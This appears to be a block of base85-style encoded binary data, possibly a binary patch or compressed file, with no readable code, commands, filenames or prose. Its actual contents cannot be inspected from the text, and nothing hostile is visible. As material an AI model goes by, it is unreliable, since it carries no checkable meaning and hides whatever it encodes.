zXi-HIT6R$GZN`jQ_!3=-df*43+kPfN4%9^YLbnEg$fMxkNP}|;m+7k2p-=}6uI|h|G@9|&Kj;@#O~$E^oSv(JoDRxzngux}1NMM&QkK&@ zroiVAM!hwqjwcGH&!W=@$*7pYQGh5Se~(GSJhfoHdck51h^5T;sTs<#h-G3{z!rM1 z-@NFAu(k{NPU1UPoI=26chL`C4WOkRG&eFX+@!f|x&@A(c#{G{J(q+a_BcvqRjYjI zDu6i!bSGj8L>cpHL~odxJ_Tt->j47L^U5)d1y?GqI`N&Ww2u_*ey1O1lhfr|dFW?s zMAygPqpPqTj`>dI^dLq@^fO{gTSoL!KckoBe8UvV?z&0Fl+L$heSwQaQ5dU1-6~i5 zVqitXn1jX@fzv-T$E}pwgcu13^#D9eRh<>|0JD#owjK5`>Br=Ew4{##r|wp|_Er?q z?Pi$_71$H9F#zXX%<@rnR$J&u-66&UdimR^~!Sa=gD&}ZP`U7;mNU?@|*aTq4L3c zlm$irt7-uyGFFB7QdY2^|WJ39(akgbk$sbm;{W zum~0<{z8=39wa@Ak_n5in?*V`gL$X=AR98D>nF9NBsfQST{o#tkjuwtIVCH)m30TB zYxRWBPzZ_|4n~DIfzeN;W9*ZY$)<>gA~+3obMcrzD@zuV0hvmFmN~wO8UxnPf^aB{ATp5(Z=||Px0OC;w6f_=+Tj{t@Fwh&Uo%$S z@vLcPeP=YKD6bG>&z(%3J*+IvxQY8|59b|pUn75vM9y7n3Q;{Qg;1! z%;$(*d91C6F*DO+mqNq`x)Xb5xjHA^MMkTlPEWamQEngO4jSA(g&51Y6PdD6=@h7A z(@S-#?bK;TFwPP-GG-TY1QV@#h$`h^h0Vrqh8sC*?O^ytlkT_}!er}Y9YeVlTUaLH zi7@_!NxWS-2CBYe69|*18c95208$#pbCVem8M$u`@lQ|6GLsR7J7^l?Es=gi84GpmJX6vvB{XnLLt(ZB37fx-BlYCQ#=>XFn4YEXQ)1Z2YRpCyvA zOm$)0;Ezf0sqp(&$VBAdl+?ry=DYrJNPO#cIc^C@{A4*?aMGLTO8DTDDqA+XG`|ln zIUIAhk1hO|qq|5O;Cbt~EyVLKEF9k&q=V#UNieT(rc1y2()+h+UVZJWH2481ZoTO2 z{i{E3HCjyk@B-q8*FFgAnCURm7nY&f*ZJVH-?t-pA4UP+ggYjHkHR6)Q=R4CT zGL-ESH|(ZdFOjBOmERL~pj>MuP_%Lnd-@AeFvTQ^MJ9|X-M|COxD*UA0uVrmi+sT ztm~&`T{kW3?6j=E{g1K^S%FyCMo8F6{IGgJ?JKwnu?YzbxY)y>q-bB`@6KuLy2P8eHrDN%4lv(TLxc?xNfdmBN%&wrYSCxx z0(c0m&cFrk%|q}D1>WH1jqFPWx>9`=oqjvh%*@>Tyda`f57|y%%`_jP2D=022hK~m zvDd8Z_eJ)egAA=tps43%St2?KR-Y`oQl6c?Bj1(h2U3J0e73;&MG~LX<+p?J5BZ9G zVQ!zEK1dpwg$Gc-%r^P}xnv_fZD4I)yKPAzd#Ar;XqUbIgYcwXH6t~yUB=|+^}VP4 z^)5ENx>~ubF{2n$r-8uu`qwnL&1$=@NE9Aw2edufgpw2dNhxCscdxz+|Na^)P z3tjCerSci+lpn!>MamHnT3TK40eVo6@TamgV(*a3%Dm3B4CR{i_4eOs!|QkD)brI7 zf%=+iX?Mnas=l$I1Y=Hp*<(%j`1u4)T!i z&yY6qkb;U%9xjP;u0JCjxS` zGE`!yyi1|-uARTGJg83XT$D$PvA4K<*S;bn2k>QOq=K{@?)S!9zGI@CfbK|-P}FNS zVuv2Y5~`v1C$XHWhhZ5kshSwY>M9{8oQ)XJXZ!%ce@`g*uiV=BP}|;`%y#<2%cPa< zXmF~MexF=aw3ReMjoMpkxVW9$i~UZozvUJnlL_;fx|^teV|d9n84KmQP}9-tYYLJJ43KdgCx_@%IO5}}5eaWFoX7#41!H)OfOg8ZE&oR; z<3{kS$QX_w@hePSP_q9)8eANRxs(t`$9#qmKi@Qoh;qWyDMB#1zm*bvOc{bhL4)8^ zr0V*&nfkXy_HTZ!OT<{hB ztyK2z@gg5n?o;fdcNx)_?Cer)l}1~pYL{GrDSO~6O_|djaK`PF{npRWm+#70DCcRA z8ANS68YeP$AwH@aP)F~ibGA&vF@t^~Qdgy`osbUr>kyg*KntcXg+b!F`Y6>6jQx^? zFh{b9X?8OZ^)H1^L37p-Va7&~+aX6HVbs;x-dR3qjHE1htk}WqE=mO^o(1 z?i_gNX;vPLpH$ll$3;^#%Va0)vCu-0vlxY7l!Y%FBRsU&+1XYW!UxfVJf`o* z`B zj%06wkli0CvdYR~jL5=jWy$>~AE{V_0bjSZ?V(0GoRAHB9_XPZr-*Q%35#|@v>kLs z<5F+$I*j!&XG!5dE^1W;DiJtGxUG3iZ_bG}sq#=>$r`H)Msy?CaQRCV5{l--85k#5 z-0+^fM#0E9=#sWcRsb*jITV*OfkO|)Aju*x|_ zcUHb@69~~KA31x!XH6>7sxlkt4@sdRl24OUFM=|SgMat0TEa%3U+bW`1v{4tK)z79 z@2y)^S^F1K@~}eSXTRou>k;$)sVvIrAs_b}nN*e=Aoei*mQ3w*_nB$T%PbtgC%sA4 zZeA;Tfso&?H<%CTVLaO=+Ogd6N@dAv!KGx8>?7nTV6h{SCL*(JtB*t)=!2vN7zTQ) zj{XsW)+%BPEHXX>%%-0w4+|nV?;i3T$o^mCh6l+eNS`Y4<+<)H%3dE}6@_HlGE2cO z__wmo0Nq>;ZHdZT{gohWi-JeHYF#+aBF&X-5;s72z`nPxG-6d*`k(0U05K)cPr{sn zEd}4_BG7ksO4)!?yvgMG{Z^khN3(tV_^KQtdUIgaz|txAY0`sI^H>xaF;gSxNhMyzRpDJrspft|$$b?MJMOfqQ+!AX z3O>|MZzZ2j5}S#oZz8OzXn&na4a1!7tBrIKdC1;aHH#}Jv%2i_ZTO;q+$;$?e1(F) zqWv&rb^9L!nACzrlYRGYSr0mYPe0ezJf;;EMM4kmixhZOZWHCGvFd9-l8~<;>Xewl zf?i}P%@60@$#wfzt@D(jj32+fu5?y;kFxUx`uOm*j5!qGN~eU=!i~CYl5NDM6n!f3 z#VLp<8)p+Z6i|W!3M>6q{f71Ik6C4vPW4;5>nP&)8ZS()a{tI`zsQGeNFy(lM%1pA zSj9@$+&p=c5e$L#ekAPxE>JNqN^Slfj3x*{Wj>S$tKOYATy zTDuMF_boh~@nyWW+^cSQYnK3rs5o9#@#=DK7{Q@K-msV?p(Fmu zJ%4)39tylQweH4RUNOh)fO{;6N3IV0xG~>+#uwM`XI=%aECya6?E+sBs{a}V#l_d!(&&{_IY1^T4+@95>(uN8%y zZTb)7n+~HOYelFi`VhH?zyVS`ta>b>hCZC{ep|$61XpwnABQgJ;DvskALh9+e*RNN z;>2QH0Oq~>)@j>cXs;Ol5+R2n8FAAd2R$; z)>nM?YGdd9^x?+lezyKIL8A;SV(J!9)gpcTh;|On6R3nDMs22qxpb~DYhU>L=G5>+ zrQfHen+ehyi2Q6}EeckNbCt-VfO-_orOS=vBNQ;Q82Rf3y7YeOH9cMyeyB!73&93AsZ>@Y6ff=WL$io?b2ETA8Z^j1}m%ZK7W2N&kfA# zQM#XCHsr=`Cb1a68;}ezHo&NUNH=@glG2JQ41{4@N6V2Vl1aKq1|U71LCzm1V5HwQ zM1Mtqrh=rH5ID;3qi-jVOGfL5fOBw)OZ?`nyuO9SwsiquGx4abIwI|hI@i+$jG1Q@ zmPEI4jyagJQQWA3dwdER7wX}SVeX9zVWU3m%zP3QFfnt^EJ!$$NP>M^7=#A+sH?V{ zcVY$vJkVd2W9Yo@Y6b~)^X%0O66>P)S>Nj;!$F2e4A=N9rkKqF9ORI*?DiSGK0``P z@*&z%<9OK58=&h*^Qum&PB$}__Gb4QVZQq0!$OX}zvrsC21B?)mRxRJ@R{W6KM-cr zeD)Qqee05CXm8)H;DB~-W7jzl<9N8GO*qoe@h(=EkP;~#xx!iGIiay}e1k;I-tqe2 zV^1@6Pf#t5(Z|@_E2{dMpISKE7s5uRxKVYj#BJ1*%;^G6=l@JKGnpk1mmBp!)dxu+ z5i)(rsux?;wK=fkSGF{gZ!L>0o9Z~qJzwFSuO^1wjTR&6wUSE}LG=xoFT(dhQe@}B zsphd2-%}vFxppZ>d2oPnl5e^08{k~N3aBh~eh>!~hgpiwC8b%0?-JG6`@|VG&feNZWmQ`?13RJM`W1@l?pHL+H zS)L-q(z*Lnx>jR%1o6$Q;X*kQD*uZxuAGlV!sVO&WY$ZJ65qUnX*Nu@(NB|yWTwqF zej>>Lh4r>l>zEv&GSMZZpSQVz-Dw_bTtcma^7B;=bh^W3*U#hB7!Pe~0 z(W>&KWA=ArianiEZ0VSX4K znK~#fKXe7vVumv`*JsriVFo2bYW5})&WC@uE2C>~rkk419^P#Z)DO9jT&+$E zWR9+coR78)UAv*ajlBVs`7y}!@1^~`v853#DH#=lb1Q~ywvVP+@>CueqFO1bV-c=; zy1p%7-YuBskeJnx{+2cfcEYR5RhBv>Ro_OW+bm1>=Y%z@1Xz#@69wdb+9=sPp?GYb&Rk`y;+bgP@Y>bK!63Ln;I@V%d-ik#DnDD9|xF{l}7@kA!}PR5dli zV%!BeD`l%#WVRr0sU|mHRV}yDzfmbys;zxss`-%Sdun7iryF5MgbA@KF?M>0LA6D( z7-jUH8Vj8o0Z>zIlaQ?oA)TpI@X>xB0$?)6z&`t_RNu~-UqZH@xxG$9@h?xP0k-%F zVeLy3A*?+#F^#ncC%!KxXbM&j`(lR$O7t1UMPVJjn}DfY2e%=~svq;kFuwWyzIkq6 zq}OLs^{ftRPBv3a;;inpgPU`=${a0Qd>jEIOdDS^|Mxf0On6 z$F~waKQ8O}aZ1>yIPShxxPgv76sGk}A7im8&!@g82hz$v8|k8N-`=y86DB zcK^mO=x6^%4ThJEr-sO=Hg@Fd?!^J3Iqkda1G|Ec0at?EuM-X3Ekgumsn8?!jRYbN zt5%tb1U12F{8}^5g}_?r=QRW<%m4~B2q@$;0DdaR04O<{rW`F$>4K*vczG|!nxHT( z?H0NuNKmTnYlu=!PN`RbCvM*0<+TuWv0Is5j`31Ji5S9E1n1{k;MRSF{MVp?;C$!A z)FhKD%&u?izS0t`Z!Bf!nOC=7@NEI@2HJI$Y+?=R|7-J5prI*36D zaICW)A4eBmt4pIG;J`9rkrH6$=V#q5Z1DbcT@xQ!-;Vw+2@*8>=|ipQdfdFT5v^?kCk8n&?^xqn?fu zUYsPJnJY@JFs$TGZk>NsF%c_-tzp$ilaO97YRWwn2E!jh8YbalSlvBIYy$vbwPiQ( z6VochGMUzxuK~RA8vyr{zF8%-)SzbwZdwR#wzmX5NtTwU%=LYijS!w_9i~fDS*&W&rCWgi8Yomn-;7F4E0jip_CUtU zH-u%9Tlz5&)c?^CcjYjA1~pejgQ5;Sh$gRl3epiCg?qh88QX zFj>SudIh5}zw?S3;)kCQe)+FV<5%?+hM(WmTHV3l)X&cw=3~eBn2?`AEuM+RUR1hG z(Qq|-7{td|bqa0aQ6xOC5wG4qKgH{$|aGqiP6scrw}On<3z%|JDPu|9FqfO z_e}@N8uM%D9b;f@UJZBuH-WMm`hIfL(^yjTO`z=FB=LvT*w=BgXTN}r|Gjats088@ zRRd#zsX*P7Am9}s>m1y{DtefcO!BWZqBU#;>mH7LY1OIz198~ZR}wu{<*{m36~1`n z=AGivtK~U5w=c@;n@votRfHTbKO6nZM#IQWRmChGyloHn#ZL1@+u#mI(9&pC*%s_X z0{^)-%cz@=f<1OXzi(K0@vz`B=um~`f z?Nm-Rn=oCdLz_-bH5V;6H?oQ%M&W0s1*Y7nOQG5L&}zEsVlMsKl&5{)%fJCv9TFLf zae^jA!Ct*lYIgr%BGFvay^m~Xz9VC7Q<8@m7EyF2@@z2u0wYf6 zs1Y`X!55m?=&9-c2u1v5j!oF@Hc^><>S!vjO6ct8VD0`XY}F#@WEWCYJFhrpeuX-Y zZYCq$Dgph54#6vq#)WZ!R7>BgMJsPNeEl}v5PHwkNI*Bf@^fgmx$U&yF?xE1r^*o& zj$RdfMz@bl584(7R*IY4ybeqRq88{?^QI1%?3<;f;=W(ow_QPGx@#?UwhI2M_?N5n z1El1AZs=QX)0CqRAEm!B6+JxJbq57M`Ln>?BvTplp5~#6#28^>qh+XWIi7g>th!ap zkN`MmD%WJF9P_m0wSnt^IiLg(JChFKyslK0{Q!qCVHoE5ucmUnx{@kKpBwW7S%qu; zNM*TOSeUkOoyZ#no((aj2-2KQr~(=m@sYOj0C?kQ1COk_d+(`DoXTai4piUy@>FgS z+|Vc_?aBaauJU5)BkMYR)savyO#t>MRPKJ2r)JC;-u;B5(Y9#!7!Y+9#5p9)34c+adYtUA*L%u5_wJT3Qg`W)SkB2 z(jf0dL<=H1|2Eld0v40L=zM6#WIt4B$;FB`B(@MJ#n?C@+d^MIsZqxeUs0D=L+V%kWwKe+0`x+d zjaog8GHmNQ4*<`@pnUqTl@D{62~=`T|m%74Z#rl+vnurkee82y{^2h7Pec zT9pCpnC-|3VF%X8lfcwVMmByW!*pd(E4@s{N*O)Mjd?kuN+GD2>LepdPw`#G_6u&T z3mn_15w@uWBLyhwe#VhQWK;Il{<&<{6WLfLcyeSk7&B3MjSiQmN=RgEzYMsKUVZWq z{WS8~uy#2Ji@b`w?FqK@aq$89N%ZqtqP$rV1$vl@s`n?Go3v-E^0I)5X4l>8fC`yG zuP>awk9?Td-qJTHVT!{Otf(o)hp|5%Syx?q8v^<*eKBd7Wz8L`yc&n=sdY~!<=3RR zQZ@n#${el@A7L_MaD3%UOvZmoBngWD#g`c{VJQCRUqV{&`}mg`a-6K;%aE-6?8}g> z@nLDbMrEgT1*3WBPz16@ns>k1JH?L^M7Pwh?&Bhf&k*4aAV z`vQ6|;7`;iFD$DzbF6~Cmq-=zw1bAS_asDZ)aU4}{8l@rHq-@b)%i*LZ!QCJo5hHd zN>)+cDj}Q5d||2JWvB;d^X^uPQaZD_cCr&;zt^bQkmgJ}C>Bs%K!ljI;ztK#lJ42_ z7yjgxx<6UGUC0(5l_PP(cuvx=2XYwKo%bZt?qRG?KWsSOq7Vbnc;P?v@^JeK`SE@s`z zUw&GkO^&Y4UK`xt?XL3{V8J0k6MF+>k1xFy5g2cdM$FM>uMMn!fyp=}b-j%KLYiqE zO<5HwzG(La7(m~hCOn6E)^fq%8DmxOE=rZ|qw&JgL7@pN^t!#?TxKiwx_I!HA7i5g z-N?sy_biUk8$Gz=r|z83TDB-YG-jt}`U`~yPe zNg;ga#dkM<`@0mSdki}$xoy=fmEjQ z^DJini`8(nDIp=uf3p%<_guXH(9QHhbG@nhXMx9F3CEh>R>8oP?8I&;F=jzXkHPLVSQ8e8S@nh{QGv8%2t;}~-upV07%87RqmtdKYs=hKnM+P4g>GpJkMiCKI^=O`z`ZXbsdHU zr!%TJN|&ccK0b`!fQrJ>0uo&ql`scy)vLluUay-Kgf*1;PWVS$Vt{^y6e?_jH*CH$ zRgF7a?etb6TP1cef_8UB+0y(iS?;4z6?*yc9hreJs)Xl?_Bb9E@WK(oo|9Q*al(N4 z&aHM*W)^>^mL(Ppg78}o%>RfoDrh&H>id@RhieTSnGZQsg2 zWYo5wYRvu{M?XH(Y&QLKWV)5`6~<^r9edQd(h%!Uh{_dJboa~Kw?{SH1Hu1-!ipQr zo2)KB8f8oNS7c!6!_o&iYXEowrNt^-kq}p5Ow}(;K&C&PBh$y{(dK9{Gg?$pmf0*b zXY;JQSd5erS$eSXJEWt(M$obSKDviN>iD}{C)wOU^##??A--6RbTDxq)^aE>fAw7!M6quAD%2BG2gE!?*Fwu`uh2aRnjZi-TNhHFO8*7PWttu)f>8%~46Sq(KR(gBr|vhSoij zjZ?8%EIygeNih3K#F#fflH&64jt@z2Uj-I{UEmcMm6BtzXVUq`j5SpGVx_>-g+KIf zFRwOGruTUF}F) zc$<7t(uVH~Z$thsxx)I|_?;zf_3a72XX=n+Oy*mPqda-!BUOGG{W^ImuPkdi=d6)_ zmE7<&va`9Hcfw?N`y#7M_|;sq>rF9ISRCc>_4Wt)?~k%ZsQxaI0UfKdY3$>>ZebEu zY}2QAICu|DY-3nxzJ`xjeUE-X|F~X#T(T<3z`Ee__jEk+S+N%}V=g}zM8}|)K4kUi zu46-FL1K!_Vn2s`{Q(q(1r1ncfDL$^EBu8U{oIc0Iw<{j=$>4^+H4^ z$H=@KBu$Y%C@bgH>#c2OKBjvi`0u&Dp+mASb#W$cZS2|8(T1502gpMoh z=1dYdK>Prq1Fz3W-$APL_$;o3m+4GbUXazFQvvQSkckgj=Swb_U3the*!=_1(pO0` z1}tq3m$?#|o4m`J)Vj5CtIjf%GMb-ru1x(O!~@d^d{}v+6296`%ApIVNg_t5tlE95MRVce$DqtI$CC5w3m-WE({ni2Q5sfbp4{13?kX)8pja&v}Wnv zYmb&x3W;h+{d93*)5V24LMfLN1(Pp+C+a{E*ej*(O$qyBVG+Vnsi>9WGImBkt!*Xq{llV$tVRrK($!R;|1Ig5BZD>nlGp$q2w`mix9;ai_&7qaDo4is)M> zmFh8fg3yASH$Baa#2JBRf-jOabv;UvSXpF?D?4%bu!%B{0_@U)Hmt~Vj@!I@-cGyY zW`bYA1vkVs>@Bu1Y7eD;0N+rHj2vhG7=iX5V^4g+#SQ1o>bei98?$y>I9B^fBvV&P zIfB^6;B$W#@s-wY*u>@{aj$l>^fc34zRZCTMdb9Hhce+-xVKke&|o68$rnX$AT4a- zqhj0$Q(VTTa~rU!fw@|skB`BWU&tydf)+Xpi~9>O9~obJaI(2S*)v*EYR=le!(URh z@Ilh}Leh9>>VQ?3z7drk_tIVO0`Y}5HbNL#{98st-37jG$&MRrRJizspttdo;bTv>3^66?Oi1Ipm}dx7ls0s zd77vuYl`X4wIBevT$UGuEitfi|6;O>1u{PA@e61+Mo5zH4osj&$aN}1P=Jig;18g^ z>t2a8J+CiRLd?25lJff?rq^B#D@r+Ab)^&tvY4ZXV8ON_^9Z;Q+1m`uRwFrhjd<^EwYATU1s5r{CQcKE=(do%CaJ4 zDLYoC!UUH;+EInhoepd*k>}Oq4x~FseR2SVH;+PSzh2A=mU&yLqTs@@oN!eh_-`WN zj@fd!1B$f1;v!iJl%6cX7%MkGXb>tLw#cy#X3nsUT^;B!Tw^^$f>I$Wu_+bFmATwx zhIn8WxoZ){?;guof;RBK7|RgJ@6X3F;NT(#Feb0{;Ty&>5-Bz=#nr>$f7GDHS}9B` zjQIdIVL4MHm!G`ZjWv3~c|@U!JGEdh*0DXvs~$kv<~rG2Cm zdP0l*=pV`w5b1dw`8T#@h}}%Vuo0}09o8srJRn$2fp-Fk$GqZZZ5#a_7t5^wFQ&_l zMS8+tzPdx8?Y6&;u1M-u}bi%^L&W(*s&h^KM*U|Iq1`o zo*e$@_?z)eh8;e-9CxH(>>`E)Jj=R^u&Z-FQu@TKyPCyW#K}<=ONbB2XBkof)9lrR z_IB|i?y!i|Ulr1ehsx-Ma%<)ue!QZL^Y1zI=c($)0{g9z2kZS!)~MF{0OlNF&DK1& zPvP;M{wVxX_aZd_2Ce*3WV(7K;hn3T+3)6+EB7K!QMyTS0kO zP;Rn`TX<5kctQ3%$UoTZ)QvsBwj@WXV}!bEFoAU=*x=2!10OZ~5_wkH?wv70*H!re zbaliPX(`|4ceIu1&O|NXhTx>7<#Pl<~>2AFtc?lzQ z$j*+~@yyKipj>~_!NE9W;F-%wq$19be`VU-%$Di@xeKtS>`c)s=q6$I?2EEL_!qr)=|}u(h26d33tu*&r_Py z3+w#|7v#-eXiin%u@ZhYkwL2R^T9JVN8;ca!@0ze!#usS490ySIxl{K%2uw#tL)q^ z4fscDENNR`7i})j&gDp(ll_?2>*Klmad)@f`2#4(J21g}qz#Ds%Rasf$^PY2!`4s6DSmKcWDvjNDiJSW;dgxQB z?^6j=sk-zq%6=a4g!I>GHUi3ul!X{6{So@aGo$vu<9_EK>AsJ!M{(yPG`3>I_5T7V zJF98?APGYJFWvVc9;zZJJ2qQP%&6IvY%;sDU|kpI5~^z-|Pj-R8+#>%IRwO28YfkNSf z0GBvUUm=V7SREVL+rwdhJ>i31a(9f}4Fq;@J$q#0vGJktEq+@1T0;A}3j3D=Vvg~) zBOHBIexDl;ZFGrg=lx6R>hmZ=V+X;Jfw-O1A-!!Oe&TtEnjXb~>KuJh8QRTZLRl1SRX-Kb9l!AUIu4BcUo(PQm}7oR%6AOCJHip*`uj3M{9lU-=ZD zevNb#6$Qw|JBV#{U>3utXgDCUnufLJ^7JD5^st#l1Un!S@5cUx1PfrP0L(NqT!Jh8 zQ5ad@1gTJl9P45_e@O2W9m_n4f`WoOzHH?ljUzTi-mq=#o7agPIJ{bW!@HtF6TOo% zmv>&3fc%&nn~{uZ>^X(48pw7FJ8Cx|I=0d@+q{~M>c1T;{-`)J_P3j9#T}o1(+X@k%yAE(ZIH`ptOFmA9AyS&WcREC{Q{#s z;1^i#fH>UxhC4EwVb5Sqpi(sq zW#6|SVM5XDPS|52X*86<$aSvAl0@=*MH)_2lR$Vf9qpYWAgg*`LJZHmQFU3uj1NHLiimjxT9Dgzxx zt~p+L5jxd4z_15Y=Pdiq)^MG)k5+G5a#~BzdO9y?mnNtA1`z7x#ynO z-}#;2`Mr`W=f0{XENbtd2D&7}Xrzo8tK*LIbq|V~)Jf&dGB(d(2!e4U`-6%jb$ijr z+s%%(t*vXpDH83Dz^Wh6S+(VdipiH|fvM6Uez}oJLqT^;kw95|&;WJY<$ptaS?TpGZ_Cx5zWi$3Z zVJSFe(bNLTU|)io^Lb?~1kE48C|z*GAhcr7a(}GY#VEj9-F(|$f%VNK`wdj>=LrkX2ZpWyxqh3_Q02nrJyi&sowXsl72VVrOZb*^jJ2W z*k^LNCvb3?l%0{DlU{fntSV%TGWLLdePXxC_ugSOy z9R32R(7CVl4R6cC`x;1;VtnG>pH}SSpNmjV}Ub zq3xk|sHR1QLI`v1!KuTluwUTS#%LM~gZ0qinuk z_dDR9_=)??j=S;h1g^7)VNn1dxZyH@$Jp&(qcOJ2O5@Qk`5q42CWX^1>>=fDL7hHYR>hjY-ca5;l;RVa%PgSbm@c#{h_AW-*5 z9Oh2jscXeAL-W?-!nd-Y0ZuT??!&zM1O?W}!+t7T;doyg z;5mq!(;B*c7YK|-`@J5tduz4Xk&8agTx)h5%jO)J;W-0s`nV>CPKWRjy?|&X`|kZB zA4a*p1AW1dIO)e-Vb}4_ZbkYQr$}*}dzFAY;g=&+EpX8zp?RQ#)r~iQ%zZD$X*k_B z7=CZNI`rE&^m{=;*AS!tT?>9Rv;=^^V1qo8?*4F0`aed~gY9F|zZy+-W^RxA##%z9r6{!CP-5V zNES&%KaATl=bNb>Swa^3GOb-UFOsuU?DFL7nO05q9XZ-XxxVFBBW*wYaHL%K)PGqn z6@w z(WO72b;IA{L&qKFmPGfhqu=?yMm0Fp^O?!74RtQuhHyooE|Gr`(UtV#RU6D2&zER*a5=Z$9!NlQ4to z9v=S{fKlW*BB^^L{CbOYNF7k5TLC2L;>hAb9<&U7K}UjMeTc#Txn^xX6)q>70S6A? zj#VUdb}ziT$m%mPDd*pp2b6;HUc9Ef->Z8LbR~}2!(vuS0gWsfh-5b zBMqO4AmY$qX9Il_&;Vl#&yH!`zsVE)&9!+(fK1gMXi4^}e{Pb-TgI z)>sd+!m~g)bg~3I(2;Nye!}A^*V77WNpPouX3MIxqdkNfEd?W4NAPK#l5I*CU3Y8W zvr^GOuCu6cwP>&gE{|y<7#%eCfm0q4PQ}kdJ`a0&9XS_=FFLJz8wZo=9C6WfQ4oI9 zFY0snPj>5$#~z=YH<6pulWH}q!rPYf4Zf&~QXL`??gRn|gHlAvR z2ZMqv;X5eiq)R5(VHVtsSgUnSu=`3(PnNz=n(oo0Yb=IrL%Q^s6kH3xi&=*BSmZXO zv+T)>B;WlMry%xPNh<9hoyUtiG!^;+B1^~@Gu(k`TPjzID@~*yK8TV`PsX5*4cxt(C!-<+9NYCvQ^nt=`3C{3qOU& zm#nIEJ+fD&d$K3N>MpnxEP;Qm(;kL#EOuGuqHLf@h5G{wAl{0Kkke?l~n0d)ck#^kTRvZnxf$?vbsN`l`}5N|Uc-H#J=dLKNNNdw^0Wk{w)rTiV>VnA`<(TaMS+tM4&>J5IUz~7t8DwkN3 ztF0+L9!~Z!dt*FKVyk0)g&=swk6@R7;Xn+7cigb3op5i49#rLXA;ic|sEq_2Gr6S% z_QznS(*a62r<9h2P^jD4Us@5u>i>tjjE5tUh35)BV-Dl7t@KHc1jq)(w9Kq)!8-wiMI@Rj_90$KT z>U#%nFhuT-YfwtKElsipltu$>CE$jO0{nl1Lo&SQfRpZM04>Hb^v?{=p;}jGlSe0= zQb5Xq9eBJr9qtI>T6~eU?V`f8DtLU|e}qlVkXKETPWMA?1=Mr$-I8>H{xmenkl z$g3paxmB{fDp_8Yl5Q~Z!dyhIz#9Hq$!B0|Z0iSBNkk~LGGy8U7N`9{yf@#>UM75b z=y$@`^GvnSPIk5y1mM!(7I%&q_-R1+Td33(Qq{<$ihhVO@T z#gEs;5S(ktX*q zjm(KdUGA4c)zU^Jp}O7Drk0Wm+m*anh|$&swm#+mrBZsOUyS?uZAykrd^5IZ zY=Y(%C-~h!f)2;)?|xuh#)5nLq{U}~HbsKpNyN_jO$hP8>MA~IAV2#U8$zXHn3f=) zIRs?dnas-M#jokh66$<6&vMNtB6OH{PSPwoc}H3_`Fw^39=L`OE!NxEcL_gucSJgj zFZax`m=K!XRGBalG>wd938KbgMUu5LAreWTD3CICjZ&MkN*a>Ermg!RtJ*RnYd-wl z$~-Yl$vJA7E8p&z6<9D!lK~B13qLhk-<|I&v*+-OXGU9ihdU4>-y-X~9aC_#UFcXjx!|uJuj>CpgNBwyE~xp^3T8mx<#l z3f42a2;8hGPbyy*SRc_^Y2b8@HRan73F@xuiUm+WzU%(QNqlMZ;BfgazQEoj)A1u5 zZU)apD#QLqCb1f53OXN^Wbs*v>Szq(E0PcmUxmcc?L-icWuUf;WOEvRQyj86;vTKI z8NcK2(VB32HB+665=R$2Uw?-tcR!2^hon~M#v$5$_D?OhWx+-~d!A)pdYol?`VE%2 z7Q5vJ<327cPKy32ZF{8Uh8DXh*N*2bakleH+G`Q`<-baMEe^lm;910Pmy$L^E4l#X zc=!^DdQ05L?NCYMY$w%McBpZoKsf2&uCd%uw;T7L<33z?LLQNZ2u#0sD3lw<0DK-| zk&)KsdBokh<$J`?0kp*0MeqePVgY(nJ0`YVX*dU>M}LiM3FAis84}FUm!dw9nFP%X z3*S1!z-b)j%xwr|g&1o+7N`TR9Vx8#5|#ss8ngRgAJ=3NhoUSoOPik(Wh2epvHY+o zTkvDBvcfZzPdW36L`JcrO9KkT7Myds^RWUlG&#bUH`sx|*9pff!e>HzD2(O304S9= zF(l04gFQ+I_D}a9n)s}PWjU>zo|!d{Xbt!rhc`MlEjM&{a_&reu)kFJl~pGj)UJt z*_94-}s3G2<@usRQLZ{lftrlP7pNJb&=ZcI{xQd0JivryG!{ zMf>s?;b4$j!%(Hd0p1dP(DaYgKW45#-KgO4*$oC8?KFI*i#CXHBsorv|fRgD?dinutyhvrk}qFIoh zP;{24y@;o!Ju0kZ?l+W{ii}vurE77-B@46tN@YScP)bIuuq&in#5uoKiqAsCoFj%~ zRKA!HiTqzGwO16**{KvmCQa|YJPjDyX%9I+I$iwXX*KB!N)qD`)h{E~`T;^=4)W4R zr_C*yMAC{n=ewti;Y1lien$#5&Dngq`2Eur;F^9wAFhx_g8Erl+RjhaB9GFW4sdMP zVPY4q=2uFrneNn(TyP@Dj)cF3A9W3&TPHp*{2k#IEv&A__80UixIHvgS;3&T?fk>( z;@3`Rh&VN%kUx(U{07}YV^t8J2giJg0Zg?r!&D_hV0-D!NJXy)Q;!fmvFrvy9a&<&6>j7DzrwvmtaGt1Xi8$f?J^w~q0tF_CRO4!ay-M9~i?zjNw{kKlA5|tdy#L}Gh}2;QM!1ip!W~*HJixB#>rt9{)O*|t zkLymF73?HqMf>PCaMDqr!>FosG2N7IO-oEvr5Eq@QR`VD4{8W9-7%sI8moV*@1oLz zfSA62kQY?qGdm}rZePX2ag=)z!F*Q!?QB6Zr{-mtr*)!v_M0Opu(PB-9 zBj09$3x^4_i0OKWvL}U;sg>ZoS+C^-g=Or8IM*4nGP-w79gP#(sQgWt7e2VeQ5Ql|781twqQEPW1BySF*hPa%}jqR~2e9jt~lkkiH?Sd}IVL0~rp6i7> zQ0BuPIVwuRd<4RN;i1tm@(Ffy7IneBHT(fOgb)NnK`j4|{Jv+y`4LX%|0}<{KAiu% z|KI$-4d=%;GFtu#k=CW^kC7NC1cezI@@@ zIMx>K6c7oDsBY#l65e$T^Eg}-@x7Mn*5un((|GJwKZYN{G4-qSJG62%4f8WJw);-u zNDd8HD5nT*;W-SxJp#vL*4-#9Va1K^Wq^sXc0Fh1mKh@1>x+{bHh=SFPOPsHVU|K! zqQyEj86FvbdptR8$dskA*eyd8iW*h{0p*>Ruf8-lL+>e^^6-+`1Olh!5fNM`MIl z5UUb?Mqj)$=8NtzU!d+EFRY^cFOA6$$?FL8|8x1mddmOInEcpX z#^eXj9NUV93<{Y?-6@%vD^Brwd$D!?YUnc&952vKY5*pc^vAg*M_A2{Zxg5BYps|| z-@6~AZ@i=5xI3@?26Gg)?ji>4pr#ai@1G>V@Fgq%3MximB8>Hf<4Ow-sKM=H5tE8TRJ=4p1&+nk$S`mSABXdA#juPZ zB|sSHwj&a@G0bf6gqp?o_}C%|?~lpj4(D;#{V>lE9tGozn&tlGzkC0A`2CiD_x_9U z``Ul^zBBxO^S^t4GW@>g-@Ff=3cvUMoA<((;r9>y@I9TEmTIug%sg?RR>SQ{woGX_ zC2Kgdxf~qHGC4!jFizHTIuMOob{lc#)KlcxwcA}L=O@!RHTk&(JEF0&A*VU82?}_$ 